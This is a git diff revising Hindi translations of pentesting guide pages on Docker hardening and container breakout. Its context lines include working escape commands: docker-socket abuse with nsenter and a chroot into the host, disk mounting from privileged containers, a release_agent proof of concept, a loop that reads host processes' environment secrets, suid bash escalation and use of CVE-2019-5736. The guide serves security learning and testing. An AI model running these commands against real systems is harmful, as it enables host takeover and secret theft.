प्राप्त करने का एक आसान तरीका है, उदाहरण के लिए, `--privileged` ध्वज के साथ एक और कंटेनर चलाकर। - **कंटेनर के अंदर रूट के रूप में न चलाएं। एक** [**अलग उपयोगकर्ता**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **का उपयोग करें और** [**उपयोगकर्ता नामस्थान**](https://docs.docker.com/engine/security/userns-remap/)**।** कंटेनर में रूट वही होता है जो होस्ट पर होता है जब तक कि इसे उपयोगकर्ता नामस्थान के साथ पुनः मैप नहीं किया जाता। यह मुख्य रूप से Linux नामस्थान, क्षमताओं और cgroups द्वारा हल्के से प्रतिबंधित होता है। -- [**सभी क्षमताएँ हटा दें**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) और केवल आवश्यक क्षमताएँ सक्षम करें** (`--cap-add=...`)। कई कार्यभार को किसी भी क्षमताओं की आवश्यकता नहीं होती है और उन्हें जोड़ने से संभावित हमले के दायरे में वृद्धि होती है। +- [**सभी क्षमताएँ हटा दें**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) और केवल आवश्यक क्षमताएँ सक्षम करें** (`--cap-add=...`)। कई कार्यभार को किसी भी क्षमताओं की आवश्यकता नहीं होती है और उन्हें जोड़ने से संभावित हमले का दायरा बढ़ जाता है। - [**“no-new-privileges” सुरक्षा विकल्प का उपयोग करें**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) ताकि प्रक्रियाएँ अधिक विशेषाधिकार प्राप्त न कर सकें, उदाहरण के लिए, suid बाइनरी के माध्यम से। - [**कंटेनर के लिए उपलब्ध संसाधनों को सीमित करें**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**।** संसाधन सीमाएँ मशीन को सेवा से इनकार करने वाले हमलों से बचा सकती हैं। -- **seccomp** [**को समायोजित करें**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(या SELinux)** प्रोफाइल को कार्यों और सिस्टम कॉल को न्यूनतम आवश्यक तक सीमित करने के लिए। -- **आधिकारिक Docker छवियों का उपयोग करें** [**और हस्ताक्षर की आवश्यकता करें**](https://docs.docker.com/docker-hub/official_images/) **या उनके आधार पर अपनी खुद की बनाएं। बैकडोर वाली छवियों का उपयोग न करें।** [**https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) **।** रूट कुंजी, पासफ़्रेज़ को सुरक्षित स्थान पर भी स्टोर करें। Docker की UCP के साथ कुंजी प्रबंधित करने की योजनाएँ हैं। +- **seccomp** [**को समायोजित करें**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(या SELinux)** प्रोफाइल को कंटेनर के लिए आवश्यक न्यूनतम क्रियाओं और syscalls को प्रतिबंधित करने के लिए। +- **आधिकारिक Docker छवियों का उपयोग करें** [**और हस्ताक्षर की आवश्यकता करें**](https://docs.docker.com/docker-hub/official_images/) **या उनके आधार पर अपनी खुद की बनाएं। बैकडोर वाली छवियों का उपयोग न करें।** [**https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) **।** रूट कुंजी, पासफ़्रेज़ को सुरक्षित स्थान पर स्टोर करें। Docker की कुंजी प्रबंधित करने की योजनाएँ हैं। - **नियमित रूप से** **अपनी छवियों को फिर से बनाएं ताकि** **होस्ट और छवियों पर सुरक्षा पैच लागू हो सकें।** - अपने **रहस्यों का बुद्धिमानी से प्रबंधन करें** ताकि हमलावर के लिए उन्हें एक्सेस करना कठिन हो। - यदि आप **Docker डेमन को HTTPS के साथ उजागर करते हैं** तो क्लाइंट और सर्वर प्रमाणीकरण का उपयोग करें। @@ -342,7 +350,7 @@ https://katacontainers.io/ ## Docker ब्रेकआउट / विशेषाधिकार वृद्धि -यदि आप **एक Docker कंटेनर के अंदर हैं** या आपके पास **Docker समूह में एक उपयोगकर्ता तक पहुँच है**, तो आप **भागने और विशेषाधिकार बढ़ाने** की कोशिश कर सकते हैं: +यदि आप **Docker कंटेनर के अंदर हैं** या आपके पास **Docker समूह में एक उपयोगकर्ता** तक पहुँच है, तो आप **भागने और विशेषाधिकार बढ़ाने** की कोशिश कर सकते हैं: {{#ref}} docker-breakout-privilege-escalation/ @@ -350,7 +358,7 @@ docker-breakout-privilege-escalation/ ## Docker प्रमाणीकरण प्लगइन बाईपास -यदि आपके पास Docker सॉकेट तक पहुँच है या आपके पास **Docker समूह में एक उपयोगकर्ता तक पहुँच है लेकिन आपके कार्यों को एक Docker प्रमाणीकरण प्लगइन द्वारा सीमित किया जा रहा है**, तो जांचें कि क्या आप इसे **बाईपास कर सकते हैं:** +यदि आपके पास Docker सॉकेट तक पहुँच है या आपके पास **Docker समूह में एक उपयोगकर्ता** तक पहुँच है लेकिन आपके कार्यों को एक Docker प्रमाणीकरण प्लगइन द्वारा सीमित किया जा रहा है, तो जांचें कि क्या आप इसे **बाईपास कर सकते हैं:** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md @@ -359,7 +367,7 @@ authz-and-authn-docker-access-authorization-plugin.md ## Docker को मजबूत करना - उपकरण [**docker-bench-security**](https://github.com/docker/docker-bench-security) एक स्क्रिप्ट है जो उत्पादन में Docker कंटेनरों को तैनात करने के चारों ओर सामान्य सर्वोत्तम प्रथाओं की दर्जनों जांच करता है। परीक्षण सभी स्वचालित होते हैं, और [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) पर आधारित होते हैं।\ -आपको इसे Docker चला रहे होस्ट से या पर्याप्त विशेषाधिकार वाले कंटेनर से चलाना होगा। जानें कि **इसे README में कैसे चलाना है:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)। +आपको इसे Docker चला रहे होस्ट से या पर्याप्त विशेषाधिकार वाले कंटेनर से चलाना होगा। जानें कि इसे README में कैसे चलाना है: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)। ## संदर्भ diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index fe2bb934c..2f1660c90 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -5,10 +5,10 @@ ## Automatic Enumeration & Escape - [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): यह भी **कंटेनरों की गणना** कर सकता है -- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): यह उपकरण **कंटेनर की गणना करने के लिए काफी उपयोगी है जिसमें आप हैं और यहां तक कि स्वचालित रूप से भागने की कोशिश करें** +- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): यह उपकरण **कंटेनर की गणना करने के लिए काफी उपयोगी है जिसमें आप हैं, यहां तक कि स्वचालित रूप से भागने की कोशिश करें** - [**amicontained**](https://github.com/genuinetools/amicontained): यह उपकरण कंटेनर के पास मौजूद विशेषाधिकार प्राप्त करने के लिए उपयोगी है ताकि इससे भागने के तरीके खोजे जा सकें - [**deepce**](https://github.com/stealthcopter/deepce): कंटेनरों से गणना करने और भागने के लिए उपकरण -- [**grype**](https://github.com/anchore/grype): छवि में स्थापित सॉफ़्टवेयर में निहित CVEs प्राप्त करें +- [**grype**](https://github.com/anchore/grype): छवि में स्थापित सॉफ़्टवेयर में शामिल CVEs प्राप्त करें ## Mounted Docker Socket Escape @@ -33,13 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` -> [!NOTE] +> [!TIP] > यदि **docker socket एक अप्रत्याशित स्थान पर है** तो आप **`docker`** कमांड का उपयोग करके इसके साथ संवाद कर सकते हैं जिसमें पैरामीटर **`-H unix:///path/to/docker.sock`** है। -Docker डेमन भी [एक पोर्ट पर सुन सकता है (डिफ़ॉल्ट रूप से 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) या Systemd-आधारित सिस्टम पर, Docker डेमन के साथ संवाद Systemd socket `fd://` के माध्यम से हो सकता है। +Docker डेमॉन भी [एक पोर्ट पर सुन सकता है (डिफ़ॉल्ट रूप से 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) या Systemd-आधारित सिस्टम पर, Docker डेमॉन के साथ संवाद Systemd socket `fd://` के माध्यम से हो सकता है। -> [!NOTE] -> इसके अतिरिक्त, अन्य उच्च-स्तरीय रनटाइम के रनटाइम सॉकेट पर ध्यान दें: +> [!TIP] +> इसके अतिरिक्त, अन्य उच्च-स्तरीय रंटाइम के रनटाइम सॉकेट पर ध्यान दें: > > - dockershim: `unix:///var/run/dockershim.sock` > - containerd: `unix:///run/containerd/containerd.sock` @@ -56,7 +56,7 @@ Docker डेमन भी [एक पोर्ट पर सुन सकता ```bash capsh --print ``` -नीचे दिए गए पृष्ठ पर आप **लिनक्स क्षमताओं के बारे में अधिक जान सकते हैं** और उन्हें कैसे दुरुपयोग करके विशेषाधिकारों से बचने/वृद्धि करने के लिए उपयोग कर सकते हैं: +इस पृष्ठ पर आप **लिनक्स क्षमताओं के बारे में अधिक जान सकते हैं** और उन्हें कैसे दुरुपयोग करके विशेषाधिकारों से बचने/वृद्धि करने के लिए उपयोग कर सकते हैं: {{#ref}} ../../linux-capabilities.md @@ -76,7 +76,7 @@ capsh --print - `--cgroupns=host` - `Mount /dev` -`--privileged` ध्वज कंटेनर की सुरक्षा को काफी कम कर देता है, **असीमित डिवाइस पहुंच** प्रदान करता है और **कई सुरक्षा उपायों** को बायपास करता है। इसके पूर्ण प्रभावों के लिए, `--privileged` पर दस्तावेज़ देखें। +`--privileged` ध्वज कंटेनर की सुरक्षा को काफी कम कर देता है, **असीमित डिवाइस पहुंच** प्रदान करता है और **कई सुरक्षा उपायों** को बायपास करता है। विस्तृत विवरण के लिए, `--privileged` के पूर्ण प्रभावों पर दस्तावेज़ देखें। {{#ref}} ../docker-privileged.md @@ -92,9 +92,9 @@ docker run --rm -it --pid=host --privileged ubuntu bash ``` ### Privileged -केवल विशेषाधिकार ध्वज के साथ आप **होस्ट के डिस्क** तक पहुँचने की कोशिश कर सकते हैं या **release_agent या अन्य बचावों का दुरुपयोग करके भागने** की कोशिश कर सकते हैं। +केवल प्रिविलेज्ड फ्लैग के साथ आप **होस्ट के डिस्क** तक पहुँचने की कोशिश कर सकते हैं या **release_agent या अन्य एस्केप्स का दुरुपयोग करके भागने** की कोशिश कर सकते हैं। -एक कंटेनर में निम्नलिखित बायपास का परीक्षण करें: +कंटेनर में निम्नलिखित बायपास का परीक्षण करें: ```bash docker run --rm -it --privileged ubuntu bash ``` @@ -109,11 +109,11 @@ docker run --rm -it --privileged ubuntu bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` -और voilà ! आप अब होस्ट की फ़ाइल प्रणाली तक पहुँच सकते हैं क्योंकि यह `/mnt/hola` फ़ोल्डर में माउंट किया गया है। +और voilà ! आप अब होस्ट की फाइल सिस्टम तक पहुँच सकते हैं क्योंकि यह `/mnt/hola` फ़ोल्डर में माउंट किया गया है। #### डिस्क माउंट करना - Poc2 -कंटेनर के भीतर, एक हमलावर होस्ट OS तक और अधिक पहुँच प्राप्त करने का प्रयास कर सकता है जो क्लस्टर द्वारा बनाए गए writable hostPath वॉल्यूम के माध्यम से है। नीचे कुछ सामान्य चीजें हैं जिन्हें आप कंटेनर के भीतर जांच सकते हैं कि क्या आप इस हमलावर वेक्टर का लाभ उठा सकते हैं: +कंटेनर के भीतर, एक हमलावर होस्ट OS तक और अधिक पहुँच प्राप्त करने का प्रयास कर सकता है जो क्लस्टर द्वारा बनाए गए writable hostPath वॉल्यूम के माध्यम से है। नीचे कुछ सामान्य चीजें हैं जिन्हें आप कंटेनर के भीतर जांच सकते हैं ताकि यह देख सकें कि क्या आप इस हमलावर वेक्टर का लाभ उठा सकते हैं: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -134,7 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` -#### विशेषाधिकार से बचना मौजूदा release_agent का दुरुपयोग ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 +#### Privileged Escape मौजूदा release_agent का दुरुपयोग ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 ```bash:Initial PoC # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -280,7 +280,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` -एक विशेषाधिकार प्राप्त कंटेनर के भीतर PoC को निष्पादित करने से निम्नलिखित के समान आउटपुट मिलना चाहिए: +विशिष्ट कंटेनर के भीतर PoC को निष्पादित करने से निम्नलिखित के समान आउटपुट मिलना चाहिए: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -308,9 +308,9 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` -#### विशेषाधिकार से बचना संवेदनशील माउंट्स का दुरुपयोग +#### Privileged Escape Abusing Sensitive Mounts -कुछ फ़ाइलें हैं जो माउंट की जा सकती हैं जो **अधिसूचना देती हैं कि अंतर्निहित होस्ट** के बारे में। इनमें से कुछ यह भी संकेत दे सकती हैं कि **जब कुछ होता है तो होस्ट द्वारा कुछ निष्पादित किया जाना है** (जो एक हमलावर को कंटेनर से बाहर निकलने की अनुमति देगा)।\ +कुछ फ़ाइलें हैं जो माउंट की जा सकती हैं जो **अधिस्थित होस्ट के बारे में जानकारी देती हैं**। इनमें से कुछ यह भी संकेत कर सकती हैं कि **जब कुछ होता है तो होस्ट द्वारा कुछ निष्पादित किया जाना है** (जो एक हमलावर को कंटेनर से बाहर निकलने की अनुमति देगा)।\ इन फ़ाइलों का दुरुपयोग करने से यह संभव हो सकता है: - release_agent (पहले ही कवर किया गया) @@ -319,22 +319,25 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] - [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper) - [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) -हालांकि, आप इस पृष्ठ पर **अन्य संवेदनशील फ़ाइलें** जांचने के लिए पा सकते हैं: +हालांकि, आप इस पृष्ठ पर **अन्य संवेदनशील फ़ाइलें** भी खोज सकते हैं: + {{#ref}} sensitive-mounts.md {{#endref}} -### मनमाने माउंट्स +### Arbitrary Mounts -कई अवसरों पर आप पाएंगे कि **कंटेनर में होस्ट से कुछ वॉल्यूम माउंट किया गया है**। यदि यह वॉल्यूम सही ढंग से कॉन्फ़िगर नहीं किया गया है, तो आप **संवेदनशील डेटा तक पहुँच/संशोधित** कर सकते हैं: रहस्यों को पढ़ें, ssh authorized_keys को बदलें… +कई अवसरों पर आप पाएंगे कि **कंटेनर में होस्ट से कुछ वॉल्यूम माउंट किया गया है**। यदि यह वॉल्यूम सही तरीके से कॉन्फ़िगर नहीं किया गया है, तो आप **संवेदनशील डेटा तक पहुँच/संशोधित** कर सकते हैं: रहस्यों को पढ़ें, ssh authorized_keys को बदलें… ```bash docker run --rm -it -v /:/host ubuntu bash ``` -### Privilege Escalation with 2 shells and host mount +एक और दिलचस्प उदाहरण [**इस ब्लॉग**](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce) में पाया जा सकता है जहाँ यह संकेत दिया गया है कि होस्ट के `/usr/bin/` और `/bin/` फ़ोल्डर कंटेनर के अंदर माउंट किए गए हैं, जिससे कंटेनर के रूट उपयोगकर्ता को इन फ़ोल्डरों के अंदर बाइनरी को संशोधित करने की अनुमति मिलती है। इसलिए, यदि कोई क्रॉन जॉब वहाँ से किसी बाइनरी का उपयोग कर रहा है, जैसे `/etc/cron.d/popularity-contest`, तो यह क्रॉन जॉब द्वारा उपयोग की जाने वाली बाइनरी को संशोधित करके कंटेनर से बाहर निकलने की अनुमति देता है। -यदि आपके पास **कंटेनर के अंदर रूट के रूप में पहुंच** है जिसमें होस्ट से कुछ फ़ोल्डर माउंट किया गया है और आपने **होस्ट पर गैर-विशिष्ट उपयोगकर्ता के रूप में भाग लिया है** और माउंट किए गए फ़ोल्डर पर पढ़ने की पहुंच है।\ -आप **कंटेनर** के अंदर **माउंट किए गए फ़ोल्डर** में एक **bash suid फ़ाइल** बना सकते हैं और **होस्ट से इसे निष्पादित कर सकते हैं** ताकि प्रिवेस्क किया जा सके। +### 2 शेल और होस्ट माउंट के साथ विशेषाधिकार वृद्धि + +यदि आपके पास **कंटेनर के अंदर रूट के रूप में पहुंच** है जिसमें होस्ट से कुछ फ़ोल्डर माउंट किया गया है और आपने **गैर-विशेषाधिकार उपयोगकर्ता के रूप में होस्ट पर भाग लिया है** और माउंट किए गए फ़ोल्डर पर पढ़ने की पहुंच है।\ +आप **कंटेनर** के **माउंट किए गए फ़ोल्डर** में एक **bash suid फ़ाइल** बना सकते हैं और **इसे होस्ट से निष्पादित** करके विशेषाधिकार वृद्धि कर सकते हैं। ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -344,10 +347,10 @@ bash -p #From non priv inside mounted folder ``` ### Privilege Escalation with 2 shells -यदि आपके पास **container के अंदर root के रूप में पहुंच** है और आपने **host पर एक गैर-privileged उपयोगकर्ता के रूप में भाग लिया है**, तो आप **host के अंदर privesc** के लिए दोनों शेल का दुरुपयोग कर सकते हैं यदि आपके पास container के अंदर MKNOD करने की क्षमता है (यह डिफ़ॉल्ट रूप से है) जैसा कि [**इस पोस्ट में समझाया गया है**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ -इस तरह की क्षमता के साथ container के भीतर root उपयोगकर्ता को **block device files** बनाने की अनुमति है। Device files विशेष फ़ाइलें हैं जो **नीचे के हार्डवेयर और कर्नेल मॉड्यूल** तक पहुंचने के लिए उपयोग की जाती हैं। उदाहरण के लिए, /dev/sda block device file **सिस्टम के डिस्क पर कच्चे डेटा को पढ़ने** की पहुंच प्रदान करता है। +यदि आपके पास **container के अंदर root के रूप में पहुंच** है और आपने **host पर एक गैर-privileged उपयोगकर्ता के रूप में escape किया है**, तो आप दोनों shells का दुरुपयोग कर सकते हैं ताकि **host के अंदर privesc** किया जा सके यदि आपके पास container के अंदर MKNOD करने की क्षमता है (यह डिफ़ॉल्ट रूप से है) जैसे कि [**इस पोस्ट में समझाया गया है**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ +इस तरह की क्षमता के साथ container के भीतर root उपयोगकर्ता को **block device files** बनाने की अनुमति है। Device files विशेष फ़ाइलें होती हैं जो **नीचे के हार्डवेयर और kernel modules** तक पहुंचने के लिए उपयोग की जाती हैं। उदाहरण के लिए, /dev/sda block device file **सिस्टम के डिस्क पर कच्चे डेटा को पढ़ने** की पहुंच प्रदान करता है। -Docker containers के भीतर block device के दुरुपयोग के खिलाफ सुरक्षा करता है एक cgroup नीति को लागू करके जो **block device read/write operations को ब्लॉक करता है**। फिर भी, यदि एक block device **container के अंदर बनाया गया है**, तो यह **/proc/PID/root/** निर्देशिका के माध्यम से container के बाहर से सुलभ हो जाता है। इस पहुंच के लिए **process owner का समान होना आवश्यक है** container के अंदर और बाहर दोनों जगह। +Docker containers के भीतर block device के दुरुपयोग के खिलाफ सुरक्षा करता है एक cgroup नीति को लागू करके जो **block device read/write operations** को **ब्लॉक** करता है। फिर भी, यदि एक block device **container के अंदर बनाया गया है**, तो यह container के बाहर **/proc/PID/root/** निर्देशिका के माध्यम से सुलभ हो जाता है। इस पहुंच के लिए **process owner का एक जैसा होना आवश्यक है** container के अंदर और बाहर दोनों जगह। **Exploitation** का उदाहरण इस [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/) से: ```bash @@ -393,7 +396,7 @@ docker run --rm -it --pid=host ubuntu bash ``` उदाहरण के लिए, आप `ps auxn` जैसे कुछ का उपयोग करके प्रक्रियाओं की सूची बना सकेंगे और कमांड में संवेदनशील विवरणों की खोज कर सकेंगे। -फिर, क्योंकि आप **/proc/ में मेज़बान की प्रत्येक प्रक्रिया तक पहुँच सकते हैं, आप बस उनके env रहस्यों को चुरा सकते हैं**: +फिर, जैसे आप **/proc/ में मेज़बान की प्रत्येक प्रक्रिया तक पहुँच सकते हैं, आप बस उनके env secrets चुरा सकते हैं**: ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ @@ -421,7 +424,7 @@ cat /proc/635813/fd/4 ``` docker run --rm -it --network=host ubuntu bash ``` -यदि एक कंटेनर को Docker [होस्ट नेटवर्किंग ड्राइवर (`--network=host`)](https://docs.docker.com/network/host/) के साथ कॉन्फ़िगर किया गया था, तो उस कंटेनर का नेटवर्क स्टैक Docker होस्ट से अलग नहीं है (कंटेनर होस्ट के नेटवर्किंग नामस्थान को साझा करता है), और कंटेनर को अपना IP-पता आवंटित नहीं किया जाता है। दूसरे शब्दों में, **कंटेनर सभी सेवाओं को सीधे होस्ट के IP पर बाइंड करता है**। इसके अलावा, कंटेनर **सभी नेटवर्क ट्रैफ़िक को इंटरसेप्ट कर सकता है जो होस्ट** साझा इंटरफेस `tcpdump -i eth0` पर भेज और प्राप्त कर रहा है। +यदि एक कंटेनर को Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/) के साथ कॉन्फ़िगर किया गया था, तो उस कंटेनर का नेटवर्क स्टैक Docker होस्ट से अलग नहीं है (कंटेनर होस्ट के नेटवर्किंग नामस्थान को साझा करता है), और कंटेनर को अपना IP-पता आवंटित नहीं किया जाता है। दूसरे शब्दों में, **कंटेनर सभी सेवाओं को सीधे होस्ट के IP पर बाइंड करता है**। इसके अलावा, कंटेनर **सभी नेटवर्क ट्रैफ़िक को इंटरसेप्ट कर सकता है जो होस्ट** साझा इंटरफेस `tcpdump -i eth0` पर भेज और प्राप्त कर रहा है। उदाहरण के लिए, आप इसका उपयोग **होस्ट और मेटाडेटा इंस्टेंस के बीच ट्रैफ़िक को स्निफ़ और यहां तक कि स्पूफ करने** के लिए कर सकते हैं। @@ -430,20 +433,20 @@ docker run --rm -it --network=host ubuntu bash - [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/) -आप **होस्ट के अंदर लोकलहोस्ट पर बाइंड की गई नेटवर्क सेवाओं** तक भी पहुँच सकते हैं या यहां तक कि **नोड के मेटाडेटा अनुमतियों** तक पहुँच सकते हैं (जो कि उन अनुमतियों से भिन्न हो सकते हैं जिन तक एक कंटेनर पहुँच सकता है)। +आप **होस्ट के अंदर लोकलहोस्ट पर बाइंड की गई नेटवर्क सेवाओं** तक भी पहुंच सकते हैं या यहां तक कि **नोड के मेटाडेटा अनुमतियों** तक पहुंच सकते हैं (जो कि उन अनुमतियों से भिन्न हो सकते हैं जिन तक एक कंटेनर पहुंच सकता है)। ### hostIPC ```bash docker run --rm -it --ipc=host ubuntu bash ``` -`hostIPC=true` के साथ, आप होस्ट के इंटर-प्रोसेस संचार (IPC) संसाधनों, जैसे कि **शेयर की गई मेमोरी** में `/dev/shm` तक पहुँच प्राप्त करते हैं। यह पढ़ने/लिखने की अनुमति देता है जहाँ समान IPC संसाधनों का उपयोग अन्य होस्ट या पॉड प्रक्रियाओं द्वारा किया जाता है। इन IPC तंत्रों की और जांच करने के लिए `ipcs` का उपयोग करें। +`hostIPC=true` के साथ, आपको होस्ट के इंटर-प्रोसेस संचार (IPC) संसाधनों, जैसे कि **शेयर की गई मेमोरी** में `/dev/shm` तक पहुंच मिलती है। यह पढ़ने/लिखने की अनुमति देता है जहां समान IPC संसाधनों का उपयोग अन्य होस्ट या पॉड प्रक्रियाओं द्वारा किया जाता है। इन IPC तंत्रों की और जांच करने के लिए `ipcs` का उपयोग करें। - **Inspect /dev/shm** - इस साझा मेमोरी स्थान में किसी भी फ़ाइलों की तलाश करें: `ls -la /dev/shm` - **Inspect existing IPC facilities** – आप देख सकते हैं कि क्या कोई IPC सुविधाएँ उपयोग में हैं `/usr/bin/ipcs` के साथ। इसे जांचें: `ipcs -a` ### Recover capabilities -यदि syscall **`unshare`** प्रतिबंधित नहीं है तो आप सभी क्षमताओं को पुनः प्राप्त कर सकते हैं: +यदि syscall **`unshare`** प्रतिबंधित नहीं है, तो आप सभी क्षमताओं को पुनर्प्राप्त कर सकते हैं: ```bash unshare -UrmCpf bash # Check them with @@ -451,7 +454,7 @@ cat /proc/self/status | grep CapEff ``` ### उपयोगकर्ता नामस्थान का दुरुपयोग सिम्लिंक के माध्यम से -पोस्ट में समझाई गई दूसरी तकनीक [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) बताती है कि आप उपयोगकर्ता नामस्थान के साथ बाइंड माउंट्स का दुरुपयोग कैसे कर सकते हैं, ताकि होस्ट के अंदर फ़ाइलों को प्रभावित किया जा सके (विशेष रूप से, फ़ाइलों को हटाना)। +पोस्ट में समझाई गई दूसरी तकनीक [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) बताती है कि आप उपयोगकर्ता नामस्थान के साथ बाइंड माउंट्स का दुरुपयोग कैसे कर सकते हैं, ताकि होस्ट के अंदर फ़ाइलों पर प्रभाव डाल सकें (विशेष रूप से, फ़ाइलों को हटा सकें)। ## CVEs @@ -459,7 +462,7 @@ cat /proc/self/status | grep CapEff यदि आप `docker exec` को रूट के रूप में निष्पादित कर सकते हैं (संभवतः sudo के साथ), तो आप CVE-2019-5736 का दुरुपयोग करते हुए कंटेनर से बाहर निकलकर विशेषाधिकार बढ़ाने की कोशिश करते हैं (शोषण [यहां](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go) )। यह तकनीक मूल रूप से **होस्ट** के **/bin/sh** बाइनरी को **कंटेनर** से **ओवरराइट** करेगी, इसलिए कोई भी जो docker exec निष्पादित करेगा, वह पेलोड को ट्रिगर कर सकता है। -पेलोड को तदनुसार बदलें और `go build main.go` के साथ main.go बनाएं। परिणामी बाइनरी को निष्पादन के लिए docker कंटेनर में रखा जाना चाहिए।\ +पेलोड को तदनुसार बदलें और `go build main.go` के साथ main.go बनाएं। परिणामी बाइनरी को निष्पादन के लिए डॉकर कंटेनर में रखा जाना चाहिए।\ निष्पादन के बाद, जैसे ही यह `[+] Overwritten /bin/sh successfully` प्रदर्शित करता है, आपको होस्ट मशीन से निम्नलिखित निष्पादित करना होगा: `docker exec -it /bin/sh` @@ -468,17 +471,17 @@ cat /proc/self/status | grep CapEff अधिक जानकारी के लिए: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) -> [!NOTE] -> कंटेनर अन्य CVEs के प्रति संवेदनशील हो सकता है, आप [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) में सूची पा सकते हैं। +> [!TIP] +> कंटेनर अन्य CVEs के प्रति भी संवेदनशील हो सकता है, आप [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) में एक सूची पा सकते हैं। -## Docker कस्टम एस्केप +## डॉकर कस्टम एस्केप -### Docker एस्केप सतह +### डॉकर एस्केप सतह -- **नामस्थान:** प्रक्रिया को अन्य प्रक्रियाओं से **पूर्ण रूप से अलग** होना चाहिए, इसलिए हम नामस्थान के कारण अन्य प्रॉक्स के साथ बातचीत करके बाहर नहीं निकल सकते (डिफ़ॉल्ट रूप से IPCs, यूनिक्स सॉकेट, नेटवर्क सेवाओं, D-Bus, अन्य प्रॉक्स के `/proc` के माध्यम से संवाद नहीं कर सकते)। -- **रूट उपयोगकर्ता**: डिफ़ॉल्ट रूप से प्रक्रिया चलाने वाला उपयोगकर्ता रूट उपयोगकर्ता है (हालांकि इसके विशेषाधिकार सीमित हैं)। -- **क्षमताएँ**: Docker निम्नलिखित क्षमताएँ छोड़ता है: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -- **Syscalls**: ये syscalls हैं जिन्हें **रूट उपयोगकर्ता कॉल नहीं कर सकेगा** (क्षमताओं की कमी + Seccomp के कारण)। अन्य syscalls का उपयोग बाहर निकलने की कोशिश करने के लिए किया जा सकता है। +- **नामस्थान:** प्रक्रिया को अन्य प्रक्रियाओं से **पूर्ण रूप से अलग** होना चाहिए, ताकि हम नामस्थान के 